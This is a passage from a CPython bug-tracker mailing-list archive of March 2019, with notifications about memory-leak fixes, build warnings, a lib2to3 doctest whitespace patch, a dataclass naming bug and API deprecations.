CPython configuration macros (like HAVE_ACOSH or USE_COMPUTED_GOTOS) do not have the PY_ prefix.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36346>
_______________________________________

From report at bugs.python.org  Tue Mar 19 06:50:29 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 10:50:29 +0000
Subject: [issue36356] Failure to build with address sanitizer
In-Reply-To: <1552967277.69.0.646647509224.issue36356@roundup.psfhosted.org>
Message-ID: <1552992629.46.0.139606072061.issue36356@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset e130a07eb20c4b655d182d5d10d778c7584efe55 by Victor Stinner (btharper) in branch 'master':
bpo-36356: Fix memory leak in _PyPreConfig_Read() (GH-12425)
https://github.com/python/cpython/commit/e130a07eb20c4b655d182d5d10d778c7584efe55


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36356>
_______________________________________

From report at bugs.python.org  Tue Mar 19 06:51:35 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 10:51:35 +0000
Subject: [issue36333] memory leaks detected with valgrind for python -V
In-Reply-To: <1552866318.49.0.954075294654.issue36333@roundup.psfhosted.org>
Message-ID: <1552992695.12.0.161404079339.issue36333@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 943395fab925a11ea90d078e771cdfc4443e8c34 by Victor Stinner (St?phane Wirtel) in branch 'master':
bpo-36333: Fix leak _PyRuntimeState_Fini (GH-12400)
https://github.com/python/cpython/commit/943395fab925a11ea90d078e771cdfc4443e8c34


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36333>
_______________________________________

From report at bugs.python.org  Tue Mar 19 07:14:36 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 11:14:36 +0000
Subject: [issue36356] Failure to build with address sanitizer
In-Reply-To: <1552967277.69.0.646647509224.issue36356@roundup.psfhosted.org>
Message-ID: <1552994076.99.0.951142544024.issue36356@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12385

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36356>
_______________________________________

From report at bugs.python.org  Tue Mar 19 07:17:46 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 11:17:46 +0000
Subject: [issue36333] memory leaks detected with valgrind for python -V
In-Reply-To: <1552866318.49.0.954075294654.issue36333@roundup.psfhosted.org>
Message-ID: <1552994266.33.0.721654159725.issue36333@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12386

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36333>
_______________________________________

From report at bugs.python.org  Tue Mar 19 07:17:46 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 11:17:46 +0000
Subject: [issue36356] Failure to build with address sanitizer
In-Reply-To: <1552967277.69.0.646647509224.issue36356@roundup.psfhosted.org>
Message-ID: <1552994266.41.0.161198450748.issue36356@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12387

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36356>
_______________________________________

From report at bugs.python.org  Tue Mar 19 07:19:57 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Tue, 19 Mar 2019 11:19:57 +0000
Subject: [issue31199] configure checks fail confusingly under
 --with-address-sanitizer if libasan is missing
In-Reply-To: <1502697717.3.0.518925337608.issue31199@psf.upfronthosting.co.za>
Message-ID: <1552994397.4.0.861035498786.issue31199@roundup.psfhosted.org>


Change by St?phane Wirtel <stephane at wirtel.be>:


----------
keywords: +patch
pull_requests: +12388
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31199>
_______________________________________

From report at bugs.python.org  Tue Mar 19 07:21:51 2019
From: report at bugs.python.org (Inada Naoki)
Date: Tue, 19 Mar 2019 11:21:51 +0000
Subject: [issue36346] Prepare for removing the legacy Unicode C API
In-Reply-To: <1552918981.83.0.901300276481.issue36346@roundup.psfhosted.org>
Message-ID: <1552994511.53.0.581281212472.issue36346@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

FYI, I had created PR 12340 which removes use of deprecated API in ctypes.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36346>
_______________________________________

From report at bugs.python.org  Tue Mar 19 07:47:07 2019
From: report at bugs.python.org (Ronald Oussoren)
Date: Tue, 19 Mar 2019 11:47:07 +0000
Subject: [issue36346] Prepare for removing the legacy Unicode C API
In-Reply-To: <1552918981.83.0.901300276481.issue36346@roundup.psfhosted.org>
Message-ID: <1552996027.72.0.470022780637.issue36346@roundup.psfhosted.org>


Ronald Oussoren <ronaldoussoren at mac.com> added the comment:

One thing to keep in mind: HAVE_UNICODE_WCHAR_CACHE == 1 and HAVE_UNICODE_WCHAR_CACHE == 0 have a different ABI due to a different struct layout. This should probably affect the ABI tag for extension modules.

----------
nosy: +ronaldoussoren

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36346>
_______________________________________

From report at bugs.python.org  Tue Mar 19 07:54:10 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Tue, 19 Mar 2019 11:54:10 +0000
Subject: [issue12771] 2to3 -d adds extra whitespace
In-Reply-To: <1313593187.97.0.649094225681.issue12771@psf.upfronthosting.co.za>
Message-ID: <1552996450.2.0.73758429208.issue12771@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

PS2 = "... " is defined with a trailing space which is not stripped for empty lines with only PS2 in the doctest. A patch would be to strip the trailing space in PS2 for empty lines and a unittest would be as below. There are no test cases for this scenario asserting against exact format and hence the patch doesn't break any tests. Currently I don't see any doctest in the codebase having this leading whitespace. I can try converting this patch as PR if Benjamin is okay with the change.


diff --git a/Lib/lib2to3/refactor.py b/Lib/lib2to3/refactor.py
index 7841b99a5c..135678b46e 100644
--- a/Lib/lib2to3/refactor.py
+++ b/Lib/lib2to3/refactor.py
@@ -599,7 +599,11 @@ class RefactoringTool(object):
                 new[-1] += "\n"
             block = [indent + self.PS1 + new.pop(0)]
             if new:
-                block += [indent + self.PS2 + line for line in new]
+                for line in new:
+                    if not line.strip():
+                        block += [indent + self.PS2.strip() + line]
+                    else:
+                        block += [indent + self.PS2 + line]
         return block
 
     def summarize(self):
diff --git a/Lib/lib2to3/tests/test_refactor.py b/Lib/lib2to3/tests/test_refactor.py
index 9e3b8fbb90..f6a5e2d589 100644
--- a/Lib/lib2to3/tests/test_refactor.py
+++ b/Lib/lib2to3/tests/test_refactor.py
@@ -331,3 +331,22 @@ from __future__ import print_function"""
                 break
         else:
             self.fail("explicit fixer not loaded")
+
+    def test_refactor_doctest(self):
+        rt = self.rt()
+
+        expected = """
+>>> class Foo():
+...    def cheese(self):
+...        pass
+...
+"""
+
+        doc = """
+>>> class Foo():
+...    def parrot(self):
+...        pass
+...
+"""
+        out = rt.refactor_docstring(doc, "<test>")
+        self.assertEqual(out, expected)


Without patch this fails as below : 

$ ./python.exe -m unittest -v lib2to3.tests.test_refactor.TestRefactoringTool.test_refactor_doctest
test_refactor_doctest (lib2to3.tests.test_refactor.TestRefactoringTool) ... FAIL

======================================================================
FAIL: test_refactor_doctest (lib2to3.tests.test_refactor.TestRefactoringTool)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/Users/karthikeyansingaravelan/stuff/python/cpython/Lib/lib2to3/tests/test_refactor.py", line 352, in test_refactor_doctest
    self.assertEqual(out, expected)
AssertionError: '\n>>> class Foo():\n...    def cheese(self):\n...        pass\n... \n' != '\n>>> class Foo():\n...    def cheese(self):\n...        pass\n...\n'

  >>> class Foo():
  ...    def cheese(self):
  ...        pass
- ...
?    -
+ ...


----------------------------------------------------------------------
Ran 1 test in 0.032s

FAILED (failures=1)

----------
nosy: +xtreak
versions: +Python 3.7, Python 3.8 -Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue12771>
_______________________________________

From report at bugs.python.org  Tue Mar 19 08:00:44 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Tue, 19 Mar 2019 12:00:44 +0000
Subject: [issue13668] mute ImportError in __del__ of _threading_local module
In-Reply-To: <1325078293.01.0.773837635362.issue13668@psf.upfronthosting.co.za>
Message-ID: <1552996844.82.0.0205364578991.issue13668@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

As noted in msg221878 the import statement was removed and the original report is not reproducible in latest 2.7. Marking this as out of date. Thanks for the details.

----------
nosy: +xtreak
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue13668>
_______________________________________

From report at bugs.python.org  Tue Mar 19 08:11:18 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Tue, 19 Mar 2019 12:11:18 +0000
Subject: [issue29717] `loop.add_reader` and `<<EOF`
In-Reply-To: <1488580437.95.0.510009265804.issue29717@psf.upfronthosting.co.za>
Message-ID: <1552997478.09.0.356743553767.issue29717@roundup.psfhosted.org>


Change by Cheryl Sabella <cheryl.sabella at gmail.com>:


----------
nosy: +asvetlov -gvanrossum
versions: +Python 3.8 -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue29717>
_______________________________________

From report at bugs.python.org  Tue Mar 19 08:31:17 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Tue, 19 Mar 2019 12:31:17 +0000
Subject: [issue31199] configure checks fail confusingly under
 --with-address-sanitizer if libasan is missing
In-Reply-To: <1502697717.3.0.518925337608.issue31199@psf.upfronthosting.co.za>
Message-ID: <1552998677.61.0.1375794393.issue31199@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

Hi Paulo,

Could you try with the associated PR (12433)?

Thank you,

----------
nosy: +matrixise, twouters

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31199>
_______________________________________

From report at bugs.python.org  Tue Mar 19 08:41:43 2019
From: report at bugs.python.org (Inada Naoki)
Date: Tue, 19 Mar 2019 12:41:43 +0000
Subject: [issue8677] Modules needing PY_SSIZE_T_CLEAN
In-Reply-To: <1273521580.77.0.503810144474.issue8677@psf.upfronthosting.co.za>
Message-ID: <1552999303.97.0.781011125546.issue8677@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
pull_requests: +12389
stage: needs patch -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue8677>
_______________________________________

From report at bugs.python.org  Tue Mar 19 09:04:06 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Tue, 19 Mar 2019 13:04:06 +0000
Subject: [issue36309] Remove tempfile.mktemp()
In-Reply-To: <1552697345.02.0.780612142064.issue36309@roundup.psfhosted.org>
Message-ID: <1553000646.36.0.173569638062.issue36309@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

@Serhiy

I have posted on the Python-dev mailing list.

https://mail.python.org/pipermail/python-dev/2019-March/156721.html

----------
nosy: +matrixise

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36309>
_______________________________________

From report at bugs.python.org  Tue Mar 19 09:10:24 2019
From: report at bugs.python.org (Inada Naoki)
Date: Tue, 19 Mar 2019 13:10:24 +0000
Subject: [issue8677] Modules needing PY_SSIZE_T_CLEAN
In-Reply-To: <1273521580.77.0.503810144474.issue8677@psf.upfronthosting.co.za>
Message-ID: <1553001024.55.0.139049964254.issue8677@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:


New changeset 29198ea1c6d58f87389136b0ac0b8b2318dbac24 by Inada Naoki in branch 'master':
bpo-8677: use PY_SSIZE_T_CLEAN in sqlite (GH-12434)
https://github.com/python/cpython/commit/29198ea1c6d58f87389136b0ac0b8b2318dbac24


----------
nosy: +inada.naoki

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue8677>
_______________________________________

From report at bugs.python.org  Tue Mar 19 09:11:59 2019
From: report at bugs.python.org (Inada Naoki)
Date: Tue, 19 Mar 2019 13:11:59 +0000
Subject: [issue8677] Modules needing PY_SSIZE_T_CLEAN
In-Reply-To: <1273521580.77.0.503810144474.issue8677@psf.upfronthosting.co.za>
Message-ID: <1553001119.72.0.696968876015.issue8677@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

Modules/_gdbmmodule.c
Modules/socketmodule.c

They use '#' without PY_SSIZE_T_CLEAN yet.

----------
versions: +Python 3.8 -Python 3.2

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue8677>
_______________________________________

From report at bugs.python.org  Tue Mar 19 09:19:43 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 13:19:43 +0000
Subject: [issue36356] Failure to build with address sanitizer
In-Reply-To: <1552967277.69.0.646647509224.issue36356@roundup.psfhosted.org>
Message-ID: <1553001583.45.0.229319268231.issue36356@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset a712679a2bffffefaacdc05f788d6ea50f72a561 by Victor Stinner in branch 'master':
bpo-36333, bpo-36356: Fix _PyEval_FiniThreads() (GH-12432)
https://github.com/python/cpython/commit/a712679a2bffffefaacdc05f788d6ea50f72a561


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36356>
_______________________________________

From report at bugs.python.org  Tue Mar 19 09:19:43 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 13:19:43 +0000
Subject: [issue36333] memory leaks detected with valgrind for python -V
In-Reply-To: <1552866318.49.0.954075294654.issue36333@roundup.psfhosted.org>
Message-ID: <1553001583.4.0.254386711715.issue36333@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset a712679a2bffffefaacdc05f788d6ea50f72a561 by Victor Stinner in branch 'master':
bpo-36333, bpo-36356: Fix _PyEval_FiniThreads() (GH-12432)
https://github.com/python/cpython/commit/a712679a2bffffefaacdc05f788d6ea50f72a561


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36333>
_______________________________________

From report at bugs.python.org  Tue Mar 19 09:20:32 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 13:20:32 +0000
Subject: [issue36356] Failure to build with address sanitizer
In-Reply-To: <1552967277.69.0.646647509224.issue36356@roundup.psfhosted.org>
Message-ID: <1553001632.05.0.6274780805.issue36356@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset fecc4f2b474f16062514e95a67e66080fd626e14 by Victor Stinner in branch 'master':
bpo-36356: Release Unicode interned strings on Valgrind (#12431)
https://github.com/python/cpython/commit/fecc4f2b474f16062514e95a67e66080fd626e14


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36356>
_______________________________________

From report at bugs.python.org  Tue Mar 19 09:29:50 2019
From: report at bugs.python.org (Bastien Sevajol)
Date: Tue, 19 Mar 2019 13:29:50 +0000
Subject: [issue36363] Wrong type when missname dataclass attribute with
 existing variable name
Message-ID: <1553002190.66.0.121651684689.issue36363@roundup.psfhosted.org>


New submission from Bastien Sevajol <sevajol.bastien at gmail.com>:

Hello,

For following code:

```
import dataclasses
import typing
from datetime import datetime


@dataclasses.dataclass
class Foo:
    datetime: typing.Optional[datetime] = None


print(dataclasses.fields(Foo)[0].type)
```

`datetime` `Foo` attribute have `NoneType` type. Problem come from `datetime` attribute name is already used by the `from datetime import datetime` import. I'm not sure if it is a bug or a strange behavior but it seems not regular. Tested on python 3.8.0a2 with same result.

----------
components: Extension Modules
messages: 338354
nosy: Bastien Sevajol
priority: normal
severity: normal
status: open
title: Wrong type when missname dataclass attribute with existing variable name
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36363>
_______________________________________

From report at bugs.python.org  Tue Mar 19 09:31:20 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 13:31:20 +0000
Subject: [issue36356] Failure to build with address sanitizer
In-Reply-To: <1552967277.69.0.646647509224.issue36356@roundup.psfhosted.org>
Message-ID: <1553002280.8.0.526008498653.issue36356@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12390

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36356>
_______________________________________

From report at bugs.python.org  Tue Mar 19 09:39:39 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 19 Mar 2019 13:39:39 +0000
Subject: [issue8677] Modules needing PY_SSIZE_T_CLEAN
In-Reply-To: <1273521580.77.0.503810144474.issue8677@psf.upfronthosting.co.za>
Message-ID: <1553002779.72.0.811196851567.issue8677@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

Also PC/winreg.c. In this case winreg.SetValue() needs a length of size DWORD instead of ssize_t.

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue8677>
_______________________________________

From report at bugs.python.org  Tue Mar 19 09:40:40 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Tue, 19 Mar 2019 13:40:40 +0000
Subject: [issue36363] Wrong type when missname dataclass attribute with
 existing variable name
In-Reply-To: <1553002190.66.0.121651684689.issue36363@roundup.psfhosted.org>
Message-ID: <1553002840.98.0.839885937481.issue36363@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +eric.smith

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36363>
_______________________________________

From report at bugs.python.org  Tue Mar 19 09:40:57 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 13:40:57 +0000
Subject: [issue36356] Failure to build with address sanitizer
In-Reply-To: <1552967277.69.0.646647509224.issue36356@roundup.psfhosted.org>
Message-ID: <1553002857.81.0.969097154457.issue36356@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12391

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36356>
_______________________________________

From report at bugs.python.org  Tue Mar 19 09:43:27 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 13:43:27 +0000
Subject: [issue8677] Modules needing PY_SSIZE_T_CLEAN
In-Reply-To: <1273521580.77.0.503810144474.issue8677@psf.upfronthosting.co.za>
Message-ID: <1553003007.13.0.327855365587.issue8677@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Would it be possible to emit a deprecation warning, maybe at runtime, when PY_SSIZE_T_CLEAN is not defined?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue8677>
_______________________________________

From report at bugs.python.org  Tue Mar 19 09:43:49 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Tue, 19 Mar 2019 13:43:49 +0000
Subject: [issue36309] Remove tempfile.mktemp()
In-Reply-To: <1552697345.02.0.780612142064.issue36309@roundup.psfhosted.org>
Message-ID: <1553003029.36.0.883306603647.issue36309@roundup.psfhosted.org>


Change by St?phane Wirtel <stephane at wirtel.be>:


----------
keywords: +patch
pull_requests: +12392
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36309>
_______________________________________

From report at bugs.python.org  Tue Mar 19 09:54:01 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 13:54:01 +0000
Subject: [issue36356] Failure to build with address sanitizer
In-Reply-To: <1552967277.69.0.646647509224.issue36356@roundup.psfhosted.org>
Message-ID: <1553003641.01.0.963276264055.issue36356@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset f5f336a819a3d881bb217bf8f9b5cacba03a4e45 by Victor Stinner in branch 'master':
bpo-36356: pymain_free() calls _PyRuntime_Finalize() (GH-12435)
https://github.com/python/cpython/commit/f5f336a819a3d881bb217bf8f9b5cacba03a4e45


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36356>
_______________________________________

From report at bugs.python.org  Tue Mar 19 10:03:14 2019
From: report at bugs.python.org (Ma Lin)
Date: Tue, 19 Mar 2019 14:03:14 +0000
Subject: [issue36357] Build 32bit Python on Windows with SSE2 instruction set
In-Reply-To: <1552970168.14.0.453401262015.issue36357@roundup.psfhosted.org>
Message-ID: <1553004194.24.0.26641461273.issue36357@roundup.psfhosted.org>


Change by Ma Lin <malincns at 163.com>:


----------
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36357>
_______________________________________

From report at bugs.python.org  Tue Mar 19 10:08:22 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 14:08:22 +0000
Subject: [issue36356] Failure to build with address sanitizer
In-Reply-To: <1552967277.69.0.646647509224.issue36356@roundup.psfhosted.org>
Message-ID: <1553004502.43.0.919394567993.issue36356@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 935250d6f3ac7ba91e1ea8e6ca63aaf7f605e291 by Victor Stinner in branch '3.7':
bpo-36356: pymain_free() calls _PyRuntime_Finalize() (GH-12436)
https://github.com/python/cpython/commit/935250d6f3ac7ba91e1ea8e6ca63aaf7f605e291


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36356>
_______________________________________

From report at bugs.python.org  Tue Mar 19 10:21:25 2019
From: report at bugs.python.org (Ma Lin)
Date: Tue, 19 Mar 2019 14:21:25 +0000
Subject: [issue25361] Is python-3-5-0.exe compiled with SSE2 instrutions? If
 so should we mention this?
In-Reply-To: <1444473804.35.0.126289501902.issue25361@psf.upfronthosting.co.za>
Message-ID: <1553005285.29.0.488996879804.issue25361@roundup.psfhosted.org>


Change by Ma Lin <malincns at 163.com>:


----------
pull_requests: +12393

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue25361>
_______________________________________

From report at bugs.python.org  Tue Mar 19 10:22:18 2019
From: report at bugs.python.org (Ma Lin)
Date: Tue, 19 Mar 2019 14:22:18 +0000
Subject: [issue25361] Is python-3-5-0.exe compiled with SSE2 instrutions? If
 so should we mention this?
In-Reply-To: <1444473804.35.0.126289501902.issue25361@psf.upfronthosting.co.za>
Message-ID: <1553005338.04.0.444527781938.issue25361@roundup.psfhosted.org>


Ma Lin <malincns at 163.com> added the comment:

It seems SSE2 can be re-enabled for 3.8 branch.

> Starting with the March 2018 Windows 7 updates,
> security patches will only install on SSE2 or higher
> computing devices. This change only affects a small #
> of users on 15-20 year old legacy PCs.

https://blogs.msmvps.com/harrywaldron/2018/06/25/windows-7-sse2-compliance-required-for-security-updates/

----------
nosy: +Ma Lin
versions:  -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue25361>
_______________________________________

From report at bugs.python.org  Tue Mar 19 10:24:43 2019
From: report at bugs.python.org (Ma Lin)
Date: Tue, 19 Mar 2019 14:24:43 +0000
Subject: [issue25361] Is python-3-5-0.exe compiled with SSE2 instrutions? If
 so should we mention this?
In-Reply-To: <1444473804.35.0.126289501902.issue25361@psf.upfronthosting.co.za>
Message-ID: <1553005483.62.0.690825965534.issue25361@roundup.psfhosted.org>


Change by Ma Lin <malincns at 163.com>:


----------
versions: +Python 3.8 -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue25361>
_______________________________________

From report at bugs.python.org  Tue Mar 19 10:39:57 2019
From: report at bugs.python.org (Pierre Glaser)
Date: Tue, 19 Mar 2019 14:39:57 +0000
Subject: [issue36364] errors in multiprocessing.shared_memory examples
Message-ID: <1553006397.24.0.439789667635.issue36364@roundup.psfhosted.org>


New submission from Pierre Glaser <pierreglaser at msn.com>:

The examples of the new shared_memory module using SharedMemoryManager try to import the class from multiprocessing.shared_memory instead of multiprocessing.managers, making them fail.

----------
assignee: docs at python
components: Documentation
files: 0001-DOC-fix-SharedMemoryManager-examples.patch
keywords: patch
messages: 338360
nosy: docs at python, pierreglaser
priority: normal
severity: normal
status: open
title: errors in multiprocessing.shared_memory examples
versions: Python 3.8
Added file: https://bugs.python.org/file48221/0001-DOC-fix-SharedMemoryManager-examples.patch

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36364>
_______________________________________

From report at bugs.python.org  Tue Mar 19 10:44:24 2019
From: report at bugs.python.org (Pierre Glaser)
Date: Tue, 19 Mar 2019 14:44:24 +0000
Subject: [issue36364] errors in multiprocessing.shared_memory examples
In-Reply-To: <1553006397.24.0.439789667635.issue36364@roundup.psfhosted.org>
Message-ID: <1553006664.12.0.89888209722.issue36364@roundup.psfhosted.org>


Change by Pierre Glaser <pierreglaser at msn.com>:


----------
pull_requests: +12394
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36364>
_______________________________________

From report at bugs.python.org  Tue Mar 19 10:57:37 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 14:57:37 +0000
Subject: [issue36365] Objects/structseq.c: warning: 'strncpy' specified bound
 depends on the length of the source argument
Message-ID: <1553007457.48.0.128688870738.issue36365@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

Warning seen on Fedora 29 with GCC 8.3.1 20190223 (Red Hat 8.3.1-2):

Objects/structseq.c: In function 'structseq_repr':
Objects/structseq.c:187:5: warning: 'strncpy' specified bound depends on the length of the source argument [-Wstringop-overflow=]
     strncpy(pbuf, typ->tp_name, len);
     ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Objects/structseq.c:185:11: note: length computed here
     len = strlen(typ->tp_name) > TYPE_MAXSIZE ? TYPE_MAXSIZE :
           ^~~~~~~~~~~~~~~~~~~~

Attached PR rewrites structseq_repr() using _PyUnicodeWriter for better performance and remove the arbitrary limit of 512 bytes.

----------
components: Interpreter Core
messages: 338361
nosy: vstinner
priority: normal
severity: normal
status: open
title: Objects/structseq.c: warning: 'strncpy' specified bound depends on the length of the source argument
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36365>
_______________________________________

From report at bugs.python.org  Tue Mar 19 10:58:53 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 14:58:53 +0000
Subject: [issue36365] Objects/structseq.c: warning: 'strncpy' specified bound
 depends on the length of the source argument
In-Reply-To: <1553007457.48.0.128688870738.issue36365@roundup.psfhosted.org>
Message-ID: <1553007533.27.0.612774900127.issue36365@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
keywords: +patch
pull_requests: +12395
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36365>
_______________________________________

From report at bugs.python.org  Tue Mar 19 11:04:10 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Tue, 19 Mar 2019 15:04:10 +0000
Subject: [issue36364] errors in multiprocessing.shared_memory examples
In-Reply-To: <1553006397.24.0.439789667635.issue36364@roundup.psfhosted.org>
Message-ID: <1553007850.27.0.633932051012.issue36364@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +davin, pitrou

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36364>
_______________________________________

From report at bugs.python.org  Tue Mar 19 11:05:01 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 19 Mar 2019 15:05:01 +0000
Subject: [issue36363] Wrong type when missname dataclass attribute with
 existing variable name
In-Reply-To: <1553002190.66.0.121651684689.issue36363@roundup.psfhosted.org>
Message-ID: <1553007901.36.0.667158537571.issue36363@roundup.psfhosted.org>


Change by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
assignee:  -> eric.smith

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36363>
_______________________________________

From report at bugs.python.org  Tue Mar 19 11:09:36 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 15:09:36 +0000
Subject: [issue36236] Python crash on macOS when CWD is invalid
In-Reply-To: <1552048367.13.0.453050382053.issue36236@roundup.psfhosted.org>
Message-ID: <1553008176.37.0.436965606661.issue36236@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset dcf617152e1d4c4a5e7965733928858a9c0936ca by Victor Stinner in branch 'master':
bpo-36236: Handle removed cwd at Python init (GH-12424)
https://github.com/python/cpython/commit/dcf617152e1d4c4a5e7965733928858a9c0936ca


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36236>
_______________________________________

From report at bugs.python.org  Tue Mar 19 11:12:18 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 15:12:18 +0000
Subject: [issue36236] Python crash on macOS when CWD is invalid
In-Reply-To: <1552048367.13.0.453050382053.issue36236@roundup.psfhosted.org>
Message-ID: <1553008338.11.0.11345406319.issue36236@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Can someone please on macOS to confirm that the bug is fixed?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36236>
_______________________________________

